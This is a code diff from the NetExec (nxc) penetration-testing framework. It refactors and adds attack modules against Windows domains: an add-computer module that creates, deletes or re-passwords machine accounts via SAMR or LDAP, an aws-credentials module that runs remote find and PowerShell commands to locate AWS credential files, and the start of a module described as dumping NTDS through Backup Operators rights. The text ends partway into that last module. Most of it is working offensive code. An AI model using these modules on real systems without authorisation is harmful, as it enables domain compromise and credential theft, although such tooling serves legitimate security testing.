+        os.makedirs(newpath, exist_ok=True)
         return os.path.join(
-            os.path.expanduser("~/.nxc"),
+            NXC_PATH,
             "logs",
             datetime.now().strftime("%Y-%m-%d"),
             f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
         )
 
 
-class TermEscapeCodeFormatter(logging.Formatter):
-    """A class to strip the escape codes for logging to files"""
-
-    def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
-        super().__init__(fmt, datefmt, style, validate)
-
-    def format(self, record):  # noqa: A003
-        escape_re = re.compile(r"\x1b\[[0-9;]*m")
-        record.msg = re.sub(escape_re, "", str(record.msg))
-        return super().format(record)
-
-
 # initialize the logger for all of nxc - this is imported everywhere
 nxc_logger = NXCAdapter()

nxc/modules/IOXIDResolver.py

@@ -1,42 +0,0 @@
-# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
-# Airbus CERT
-# module by @mpgn_x64
-
-from ipaddress import ip_address
-from impacket.dcerpc.v5 import transport
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
-from impacket.dcerpc.v5.dcomrt import IObjectExporter
-
-
-class NXCModule:
-    name = "ioxidresolver"
-    description = "This module helps you to identify hosts that have additional active interfaces"
-    supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def options(self, context, module_options):
-        """ """
-
-    def on_login(self, context, connection):
-        authLevel = RPC_C_AUTHN_LEVEL_NONE
-
-        stringBinding = r"ncacn_ip_tcp:%s" % connection.host
-        rpctransport = transport.DCERPCTransportFactory(stringBinding)
-
-        portmap = rpctransport.get_dce_rpc()
-        portmap.set_auth_level(authLevel)
-        portmap.connect()
-
-        objExporter = IObjectExporter(portmap)
-        bindings = objExporter.ServerAlive2()
-
-        context.log.debug("[*] Retrieving network interface of " + connection.host)
-
-        for binding in bindings:
-            NetworkAddr = binding["aNetworkAddr"]
-            try:
-                ip_address(NetworkAddr[:-1])
-                context.log.highlight("Address: " + NetworkAddr)
-            except Exception as e:
-                context.log.debug(e)

nxc/modules/MachineAccountQuota.py

@@ -1,29 +0,0 @@
-
-class NXCModule:
-    """
-    Module by Shutdown and Podalirius
-
-    Initial module:
-      https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
-
-    Authors:
-      Shutdown: @_nwodtuhs
-      Podalirius: @podalirius_
-    """
-
-    def options(self, context, module_options):
-        pass
-
-    name = "MAQ"
-    description = "Retrieves the MachineAccountQuota domain-level attribute"
-    supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def on_login(self, context, connection):
-        result = []
-        context.log.display("Getting the MachineAccountQuota")
-        searchFilter = "(objectClass=*)"
-        attributes = ["ms-DS-MachineAccountQuota"]
-        result = connection.search(searchFilter, attributes)
-        context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])

nxc/modules/adcs.py

@@ -1,6 +1,7 @@
 import re
 from impacket.ldap import ldap, ldapasn1
 from impacket.ldap.ldap import LDAPSearchError
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -13,8 +14,7 @@ class NXCModule:
     name = "adcs"
     description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -27,8 +27,7 @@ class NXCModule:
         SERVER             PKI Enrollment Server to enumerate templates for. Default is None, use CN name
         BASE_DN            The base domain name for the LDAP query
         """
-        self.context = context
-        self.regex = re.compile("(https?://.+)")
+        self.regex = re.compile(r"(https?://.+)")
 
         self.server = None
         self.base_dn = None
@@ -39,6 +38,7 @@ class NXCModule:
 
     def on_login(self, context, connection):
         """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
+        self.context = context
         if self.server is None:
             search_filter = "(objectClass=pKIEnrollmentService)"
         else:
@@ -49,10 +49,10 @@ class NXCModule:
 
         try:
             sc = ldap.SimplePagedResultsControl()
-            base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
+            base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
 
             if self.server is None:
-                connection.ldapConnection.search(
+                connection.ldap_connection.search(
                     searchFilter=search_filter,
                     attributes=[],
                     sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
                     searchBase="CN=Configuration," + base_dn_root,
                 )
             else:
-                connection.ldapConnection.search(
+                connection.ldap_connection.search(
                     searchFilter=search_filter + base_dn_root + ")",
                     attributes=["certificateTemplates"],
                     sizeLimit=0,
@@ -70,7 +70,10 @@ class NXCModule:
                     searchBase="CN=Configuration," + base_dn_root,
                 )
         except LDAPSearchError as e:
-            context.log.fail(f"Obtained unexpected exception: {e}")
+            if "noSuchObject" in str(e):
+                context.log.fail("No ADCS infrastructure found.")
+            else:
+                context.log.fail(f"Obtained unexpected exception: {e}")
 
     def process_servers(self, item):
         """Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""

nxc/modules/add-computer.py

@@ -0,0 +1,275 @@
+import sys
+
+from impacket.dcerpc.v5 import samr
+from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.rpc import NXCRPCConnection
+
+
+class NXCModule:
+    """
+    Module by CyberCelt: @Cyb3rC3lt
+    Refactored to use impacket LDAP CRUD operations instead of ldap3.
+
+    Initial module:
+        https://github.com/Cyb3rC3lt/CrackMapExec-Modules
+    Thanks to the guys at impacket for the original code
+    """
+
+    name = "add-computer"
+    description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
+    supported_protocols = ["smb", "ldap"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def options(self, context, module_options):
+        """
+        add-computer: Adds, deletes, or changes the password of a domain computer account.
+        Uses SAMR when invoked with nxc smb.
+
+        NAME        Computer name (required). Trailing '$' is added automatically.
+        PASSWORD    Computer password (required for add/changepw).
+        DELETE      Set to delete the computer account.
+        CHANGEPW    Set to change an existing computer's password.
+
+        Usage (same syntax for ldap):
+            nxc smb  $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
+            nxc smb  $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
+            nxc smb  $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
+        """
+        self.delete = "DELETE" in module_options
+        self.change_pw = False
+
+        if "CHANGEPW" in module_options:
+            if "NAME" not in module_options or "PASSWORD" not in module_options:
+                context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
+                sys.exit(1)
+            self.change_pw = True
+
+        if "NAME" not in module_options:
+            context.log.error("NAME option is required!")
+            sys.exit(1)
+
+        self.computer_name = module_options["NAME"]
+        if not self.computer_name.endswith("$"):
+            self.computer_name += "$"
+
+        if "PASSWORD" in module_options:
+            self.computer_password = module_options["PASSWORD"]
+        elif not self.delete:
+            context.log.error("PASSWORD option is required!")
+            sys.exit(1)
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+        if connection.args.protocol == "smb":
+            self._do_samr()
+        elif connection.args.protocol == "ldap":
+            self._do_ldap()
+
+    def _db_remove_credential(self):
+        try:
+            db = self.context.db
+            domain = self.connection.domain
+            rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
+            db.remove_credentials([row[0] for row in rows])
+        except Exception as e:
+            self.context.log.debug(f"Could not remove credentials from DB: {e}")
+
+    def _db_add_credential(self):
+        self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
+
+    def _do_samr(self):
+        try:
+            dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
+        except Exception as e:
+            self.context.log.fail(f"Failed to connect to SAMR: {e}")
+            return
+
+        try:
+            self._samr_execute(dce, self.connection.conn.getRemoteName())
+        finally:
+            dce.disconnect()
+
+    def _samr_execute(self, dce, target_name):
+        domain = self.connection.domain
+
+        serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
+        domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
+        non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
+
+        if len(non_builtin) > 1:
+            matched = [d for d in domains if d["Name"].lower() == domain.lower()]
+            if len(matched) != 1:
+                self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
+                return
+            selected = matched[0]["Name"]
+        else:
+            selected = non_builtin[0]["Name"]
+
+        domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
+        domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
+
+        try:
+            if self.delete or self.change_pw:
+                user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
+            else:
+                user_handle = self._samr_create(dce, domain_handle, self.connection.username)
+
+            if user_handle is None:
+                return
+
+            if self.delete:
+                samr.hSamrDeleteUser(dce, user_handle)
+                user_handle = None
+                self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
+                self._db_remove_credential()
+            else:
+                samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
+                if self.change_pw:
+                    self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
+                else:
+                    user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
+                    self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
+                self._db_add_credential()
+        finally:
+            if user_handle is not None:
+                samr.hSamrCloseHandle(dce, user_handle)
+            samr.hSamrCloseHandle(dce, domain_handle)
+            samr.hSamrCloseHandle(dce, serv_handle)
+
+    def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
+        user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
+        samr.hSamrCloseHandle(dce, user_handle)
+        new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
+        req = samr.SAMPR_USER_INFO_BUFFER()
+        req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
+        req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
+        samr.hSamrSetInformationUser2(dce, new_handle, req)
+        return new_handle
+
+    def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
+        try:
+            user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
+        except samr.DCERPCSessionError as e:
+            if "STATUS_NONE_MAPPED" in str(e):
+                self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
+            else:
+                self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
+            return None
+
+        try:
+            access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
+            return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
+        except samr.DCERPCSessionError as e:
+            if "STATUS_ACCESS_DENIED" in str(e):
+                action = "delete" if self.delete else "change password for"
+                self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
+            else:
+                self.context.log.fail(f"Error opening {self.computer_name}: {e}")
+            return None
+
+    def _samr_create(self, dce, domain_handle, username):
+        try:
+            samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
+            self.context.log.fail(f"Computer '{self.computer_name}' already exists")
+            return None
+        except samr.DCERPCSessionError as e:
+            if "STATUS_NONE_MAPPED" not in str(e):
+                self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
+                return None
+
+        try:
+            # Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
+            request = samr.SamrCreateUser2InDomain()
+            request["DomainHandle"] = domain_handle
+            request["Name"] = self.computer_name
+            request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
+            request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
+            return dce.request(request)["UserHandle"]
+        except samr.DCERPCSessionError as e:
+            if "STATUS_USER_EXISTS" in str(e):
+                self.context.log.fail(f"Computer '{self.computer_name}' already exists")
+            elif "STATUS_ACCESS_DENIED" in str(e):
+                self.context.log.fail(f"{username} does not have the right to create a computer account")
+            elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
+                self.context.log.fail(f"{username} exceeded the machine account quota")
+            else:
+                self.context.log.fail(f"Error creating computer: {e}")
+            return None
+
+    def _do_ldap(self):
+        name = self.computer_name.rstrip("$")
+        computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
+
+        if self.delete:
+            self._ldap_delete(self.connection.ldap_connection, computer_dn)
+        elif self.change_pw:
+            self._ldap_change_password(self.connection.ldap_connection, computer_dn)
+        else:
+            self._ldap_add(self.connection.ldap_connection, computer_dn, name)
+
+    def _ldap_delete(self, ldap_conn, dn):
+        try:
+            ldap_conn.delete(dn)
+            self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
+            self._db_remove_credential()
+        except LDAPSessionError as e:
+            if "noSuchObject" in str(e):
+                self.context.log.fail(f'Computer "{self.computer_name}" was not found')
+            elif "insufficientAccessRights" in str(e):
+                self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
+            else:
+                self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
+
+    def _ldap_change_password(self, ldap_conn, dn):
+        try:
+            encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
+            ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
+            self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
+            self._db_add_credential()
+        except LDAPSessionError as e:
+            if "noSuchObject" in str(e):
+                self.context.log.fail(f'Computer "{self.computer_name}" was not found')
+            elif "insufficientAccessRights" in str(e):
+                self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
+            elif "unwillingToPerform" in str(e):
+                self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
+            else:
+                self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
+
+    def _ldap_add(self, ldap_conn, dn, name):
+        fqdn = f"{name}.{self.connection.domain}"
+        spns = [
+            f"HOST/{name}",
+            f"HOST/{fqdn}",
+            f"RestrictedKrbHost/{name}",
+            f"RestrictedKrbHost/{fqdn}",
+        ]
+
+        try:
+            ldap_conn.add(
+                dn,
+                ["top", "person", "organizationalPerson", "user", "computer"],
+                {
+                    "dnsHostName": fqdn,
+                    "userAccountControl": 0x1000,
+                    "servicePrincipalName": spns,
+                    "sAMAccountName": self.computer_name,
+                    "unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
+                },
+            )
+            self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
+            self._db_add_credential()
+        except LDAPSessionError as e:
+            if "entryAlreadyExists" in str(e):
+                self.context.log.fail(f"Computer '{self.computer_name}' already exists")
+            elif "insufficientAccessRights" in str(e):
+                self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
+            elif "unwillingToPerform" in str(e):
+                self.context.log.fail("Server unwilling to perform")
+            elif "constraintViolation" in str(e):
+                self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
+            else:
+                self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")

nxc/modules/add_computer.py

@@ -1,305 +0,0 @@
-import ssl
-import ldap3
-from impacket.dcerpc.v5 import samr, epm, transport
-import sys
-
-
-class NXCModule:
-    """
-    Module by CyberCelt: @Cyb3rC3lt
-     Initial module:
-        https://github.com/Cyb3rC3lt/CrackMapExec-Modules
-    Thanks to the guys at impacket for the original code
-    """
-
-    name = "add-computer"
-    description = "Adds or deletes a domain computer"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def options(self, context, module_options):
-        """
-        add-computer: Specify add-computer to call the module using smb
-        NAME: Specify the NAME option to name the Computer to be added
-        PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
-        DELETE: Specify DELETE to remove a Computer
-        CHANGEPW: Specify CHANGEPW to modify a Computer password
-        Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
-               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
-               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
-        """
-        self.__baseDN = None
-        self.__computerGroup = None
-        self.__method = "SAMR"
-        self.__noAdd = False
-        self.__delete = False
-        self.noLDAPRequired = False
-
-        if "DELETE" in module_options:
-            self.__delete = True
-
-        if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
-            context.log.error("NAME  and PASSWORD options are required!")
-        elif "CHANGEPW" in module_options:
-            self.__noAdd = True
-
-        if "NAME" in module_options:
-            self.__computerName = module_options["NAME"]
-            if self.__computerName[-1] != "$":
-                self.__computerName += "$"
-        else:
-            context.log.error("NAME option is required!")
-            sys.exit(1)
-
-        if "PASSWORD" in module_options:
-            self.__computerPassword = module_options["PASSWORD"]
-        elif "PASSWORD" not in module_options and not self.__delete:
-            context.log.error("PASSWORD option is required!")
-            sys.exit(1)
-
-    def on_login(self, context, connection):
-        self.__domain = connection.domain
-        self.__domainNetbios = connection.domain
-        self.__kdcHost = connection.hostname + "." + connection.domain
-        self.__target = self.__kdcHost
-        self.__username = connection.username
-        self.__password = connection.password
-        self.__targetIp = connection.host
-        self.__port = context.smb_server_port
-        self.__aesKey = context.aesKey
-        self.__hashes = context.hash
-        self.__doKerberos = connection.kerberos
-        self.__nthash = ""
-        self.__lmhash = ""
-
-        if context.hash and ":" in context.hash[0]:
-            hashList = context.hash[0].split(":")
-            self.__nthash = hashList[-1]
-            self.__lmhash = hashList[0]
-        elif context.hash and ":" not in context.hash[0]:
-            self.__nthash = context.hash[0]
-            self.__lmhash = "00000000000000000000000000000000"
-
-        # First try to add via SAMR over SMB
-        self.do_samr_add(context)
-
-        # If SAMR fails now try over LDAPS
-        if not self.noLDAPRequired:
-            self.do_ldaps_add(connection, context)
-        else:
-            sys.exit(1)
-
-    def do_samr_add(self, context):
-        """
-        Connects to a target server and performs various operations related to adding or deleting machine accounts.
-
-        Args:
-        ----
-            context (object): The context object.
-
-        Returns:
-        -------
-            None
-        """
-        target = self.__targetIp or self.__target
-        string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
-
-        rpc_transport = transport.DCERPCTransportFactory(string_binding)
-        rpc_transport.set_dport(self.__port)
-
-        if self.__targetIp is not None:
-            rpc_transport.setRemoteHost(self.__targetIp)
-            rpc_transport.setRemoteName(self.__target)
-
-        if hasattr(rpc_transport, "set_credentials"):
-            # This method exists only for selected protocol sequences.
-            rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
-
-        rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
-
-        dce = rpc_transport.get_dce_rpc()
-        dce.connect()
-        dce.bind(samr.MSRPC_UUID_SAMR)
-
-        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
-        serv_handle = samr_connect_response["ServerHandle"]
-
-        samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
-        domains = samr_enum_response["Buffer"]["Buffer"]
-        domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
-        if len(domains_without_builtin) > 1:
-            domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
-            if len(domain) != 1:
-                context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
-                context.log.highlight("Available domain(s):")
-                for domain in domains:
-                    context.log.highlight(f" * {domain['Name']}")
-                raise Exception
-            else:
-                selected_domain = domain[0]["Name"]
-        else:
-            selected_domain = domains_without_builtin[0]["Name"]
-
-        samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
-        domain_sid = samr_lookup_domain_response["DomainId"]
-
-        context.log.debug(f"Opening domain {selected_domain}...")
-        samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
-        domain_handle = samr_open_domain_response["DomainHandle"]
-
-        if self.__noAdd or self.__delete:
-            try:
-                check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
-            except samr.DCERPCSessionError as e:
-                if e.error_code == 0xC0000073:
-                    context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
-                    self.noLDAPRequired = True
-                context.log.exception(e)
-
-            user_rid = check_for_user["RelativeIds"]["Element"][0]
-            if self.__delete:
-                access = samr.DELETE
-                message = "delete"
-            else:
-                access = samr.USER_FORCE_PASSWORD_CHANGE
-                message = "set the password for"
-            try:
-                open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
-                user_handle = open_user["UserHandle"]
-            except samr.DCERPCSessionError as e:
-                if e.error_code == 0xC0000022:
-                    context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
-                    self.noLDAPRequired = True
-                context.log.exception(e)
-        else:
-            if self.__computerName is not None:
-                try:
-                    samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
-                    self.noLDAPRequired = True
-                    context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
-                    sys.exit(1)
-                except samr.DCERPCSessionError as e:
-                    if e.error_code != 0xC0000073:
-                        raise
-            else:
-                found_unused = False
-                while not found_unused:
-                    self.__computerName = self.generateComputerName()
-                    try:
-                        samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
-                    except samr.DCERPCSessionError as e:
-                        if e.error_code == 0xC0000073:
-                            found_unused = True
-                        else:
-                            raise
-            try:
-                create_user = samr.hSamrCreateUser2InDomain(
-                    dce,
-                    domain_handle,
-                    self.__computerName,
-                    samr.USER_WORKSTATION_TRUST_ACCOUNT,
-                    samr.USER_FORCE_PASSWORD_CHANGE,
-                )
-                self.noLDAPRequired = True
-                context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
-            except samr.DCERPCSessionError as e:
-                if e.error_code == 0xC0000022:
-                    context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
-                elif e.error_code == 0xC00002E7:
-                    context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
-                context.log.exception(e)
-            user_handle = create_user["UserHandle"]
-
-        if self.__delete:
-            samr.hSamrDeleteUser(dce, user_handle)
-            context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
-            self.noLDAPRequired = True
-            user_handle = None
-        else:
-            samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
-            if self.__noAdd:
-                context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
-                self.noLDAPRequired = True
-            else:
-                check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
-                user_rid = check_for_user["RelativeIds"]["Element"][0]
-                open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
-                user_handle = open_user["UserHandle"]
-                req = samr.SAMPR_USER_INFO_BUFFER()
-                req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
-                req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
-                samr.hSamrSetInformationUser2(dce, user_handle, req)
-                if not self.noLDAPRequired:
-                    context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
-                self.noLDAPRequired = True
-
-            if user_handle is not None:
-                samr.hSamrCloseHandle(dce, user_handle)
-            if domain_handle is not None:
-                samr.hSamrCloseHandle(dce, domain_handle)
-            if serv_handle is not None:
-                samr.hSamrCloseHandle(dce, serv_handle)
-            dce.disconnect()
-
-    def do_ldaps_add(self, connection, context):
-        """
-        Performs an LDAPS add operation.
-
-        Args:
-        ----
-            connection (Connection): The LDAP connection object.
-            context (Context): The context object.
-
-        Returns:
-        -------
-            None
-
-        Raises:
-        ------
-            None
-        """
-        ldap_domain = connection.domain.replace(".", ",dc=")
-        spns = [
-            f"HOST/{self.__computerName}",
-            f"HOST/{self.__computerName}.{connection.domain}",
-            f"RestrictedKrbHost/{self.__computerName}",
-            f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
-        ]
-        ucd = {
-            "dnsHostName": f"{self.__computerName}.{connection.domain}",
-            "userAccountControl": 0x1000,
-            "servicePrincipalName": spns,
-            "sAMAccountName": self.__computerName,
-            "unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
-        }
-        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
-        ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
-        c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
-        c.bind()
-
-        if self.__delete:
-            result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
-            if result:
-                context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
-            elif result is False and c.last_error == "noSuchObject":
-                context.log.highlight(f'Computer named "{self.__computerName}" was not found')
-            elif result is False and c.last_error == "insufficientAccessRights":
-                context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
-            else:
-                context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
-        else:
-            result = c.add(
-                f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
-                ["top", "person", "organizationalPerson", "user", "computer"],
-                ucd
-            )
-            if result:
-                context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
-                context.log.highlight("You can try to verify this with the nxc command:")
-                context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
-            elif result is False and c.last_error == "entryAlreadyExists":
-                context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
-            elif not result:
-                context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
-            c.unbind()

nxc/modules/aws-credentials.py

@@ -0,0 +1,50 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Search for aws credentials files on linux and windows machines
+
+    Module by Fortress
+    """
+
+    name = "aws-credentials"
+    description = "Search for aws credentials files."
+    supported_protocols = ["ssh", "smb", "winrm"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def __init__(self):
+        self.search_path_linux = "'/home/' '/tmp/'"
+        self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
+
+    def options(self, context, module_options):
+        r"""
+        SEARCH_PATH_LINUX	Linux location where to search for aws credentials related files
+                                Default: "'/home/' '/tmp/'"
+
+        SEARCH_PATH_WIN		Windows locations where to search for aws credentials related files
+                                Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
+        """
+        if "SEARCH_PATH_LINUX" in module_options:
+            self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
+
+        if "SEARCH_PATH_WIN" in module_options:
+            self.search_path_win = module_options["SEARCH_PATH_WIN"]
+
+    def on_login(self, context, connection):
+        # search for aws_credentials-related files on linux systems
+        if "ssh" in context.protocol:
+            search_aws_creds_files_payload = f"find {self.search_path_linux} -type f  -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
+            search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
+            output = connection.execute(search_aws_creds_files_cmd)
+        else:
+            # search for aws_credentials-related files on windows systems
+            # we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
+            search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
+            search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
+            output = connection.execute(search_aws_creds_files_cmd_win, True)
+
+        if output:
+            context.log.success("The following files were found:")
+            for line in output.splitlines():
+                context.log.highlight(line.rstrip())

nxc/modules/backup_operator.py

@@ -0,0 +1,294 @@
+import contextlib
+import re
+from binascii import unhexlify
+
+from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
+from impacket.smbconnection import SessionError
+from impacket.dcerpc.v5 import rrp
+from nxc.helpers.misc import CATEGORY, gen_random_string
+from nxc.helpers.rpc import NXCRPCConnection
+
+
+class NXCModule:
+    name = "backup_operator"
+    description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
+    supported_protocols = ["smb"]
